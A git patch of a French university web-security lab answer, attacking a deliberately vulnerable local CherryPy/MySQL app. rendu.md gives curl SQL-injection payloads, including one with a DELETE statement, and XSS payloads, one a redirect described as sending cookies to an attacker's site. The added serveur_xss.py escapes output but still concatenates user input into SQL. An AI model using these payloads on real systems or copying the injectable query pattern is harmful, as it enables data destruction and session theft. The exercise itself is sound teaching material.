From 03f24acc6cf2e99a95f6a00b3ca55f5b9c59b861 Mon Sep 17 00:00:00 2001 From: "martin.birlouez.etu" <Monopolie/Patate*821> Date: Thu, 27 Jan 2022 20:30:10 +0100 Subject: [PATCH] Rendu final --- rendu.md | 20 +++++++++----- serveur.py | 1 + serveur_xss.py | 75 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 89 insertions(+), 7 deletions(-) create mode 100644 serveur_xss.py diff --git a/rendu.md b/rendu.md index c7dce8d..de776f8 100644 --- a/rendu.md +++ b/rendu.md @@ -34,11 +34,11 @@ Le script Js ne peut donc jammais trouver le chanp a vérifier. * Réalisez une injection SQL qui insérer une chaine dans la base de données, tout en faisant en sorte que le champ who * soit rempli avec ce que vous aurez décidé (et non pas votre adresse IP). Verifiez que cela a fonctionné ensuite. -curl -X POST -F "chaine=Hey','8.8.8.8') #" localhost:8080 +>curl -X POST -F "chaine=Hey','8.8.8.8') #" localhost:8080 * Expliquez comment obtenir des informations sur une autre table Si ici a la place de la chaine on ajoute une requette par exemple : -curl -X POST -F "chaine=Drop','8.8.8.8'); DELETE chaine WHERE 1=1 #" localhost:8080 +>curl -X POST -F "chaine=Drop','8.8.8.8'); DELETE chaine WHERE 1=1 #" localhost:8080 ## Question 4 @@ -55,13 +55,19 @@ une verification par la librairei python. ## Question 5 -* Commande curl pour afficher une fenetre de dialog. +* Commande curl pour afficher une fenetre de dialog. +>curl -X POST -F "chaine=','\<script\>alert(\'Hi!\')\</script\>') #" localhost:8080 -* Commande curl pour lire les cookies +Cette fenetre insert en Sql la balise script et son contenut qui est ducoup interpréter a l'affichage. -## Question 6 +* Commande curl pour lire les cookies + +>curl -X POST -F "chaine=','\<script\>document.location=\'https://google.fr\'\</script\>') #" localhost:8080 -Rendre un fichier server_xss.py avec la correction de la -faille. Expliquez la demarche que vous avez suivi. +ien sur ici a la place de google.fr on aurat l'adresse de notre site d'aspirateur a cookies. +## Question 6 +On va appliquer le html.escape pour remplacer les caractére html [&,<,>] en une cahine sure comme rien. +Nous réaliserons cette verification a l'affichage car c'est l'affichage du HTML et don sont interprétation par le +navigateur qui pose probléme. diff --git a/serveur.py b/serveur.py index f81eaf9..2f98f3c 100755 --- a/serveur.py +++ b/serveur.py @@ -24,6 +24,7 @@ class VulnerableApp(object): cursor.close() return ''' + <html> <head> <title>Application Python Vulnerable</title> diff --git a/serveur_xss.py b/serveur_xss.py new file mode 100644 index 0000000..324fcff --- /dev/null +++ b/serveur_xss.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +import html + +import mysql.connector +import cherrypy +import config + + +class VulnerableApp(object): + def __init__(self): + self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, + password=config.DB_PASS) + + @cherrypy.expose + def index(self, **post): + cursor = self.conn.cursor() + if cherrypy.request.method == "POST": + requete = "INSERT INTO chaines (txt,who) VALUES('" + post[ + "chaine"] + "','" + cherrypy.request.remote.ip + "')" + print("req: [" + requete + "]") + cursor.execute(requete) + self.conn.commit() + + chaines = [] + cursor.execute("SELECT txt,who FROM chaines"); + for row in cursor.fetchall(): + chaines.append(html.escape(row[0]) + " envoye par: " + html.escape(row[1])) + + cursor.close() + return ''' + +<html> +<head> +<title>Application Python Vulnerable</title> +</head> +<body> +<p> +Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL! +</p> + +<p> +Liste des chaines actuellement insérées: +<ul> +''' + "\n".join(["<li>" + s + "</li>" for s in chaines]) + ''' +</ul> +</p> + +<p> Inserer une chaine: + +<form method="post" onsubmit="return validate()"> +<input type="text" name="chaine" id="chaine" value="" /> +<br /> +<input type="submit" name="submit" value="OK" /> +</form> + +<script> +function validate() { + var regex = /^[a-zA-Z0-9]+$/; + var chaine = document.getElementById('chaine').value; + console.log(regex.test(chaine)); + if (!regex.test(chaine)) { + alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres"); + return false; + } + return true; +} +</script> + +</p> +</body> +</html> +''' + +cherrypy.quickstart(VulnerableApp()) + -- GitLab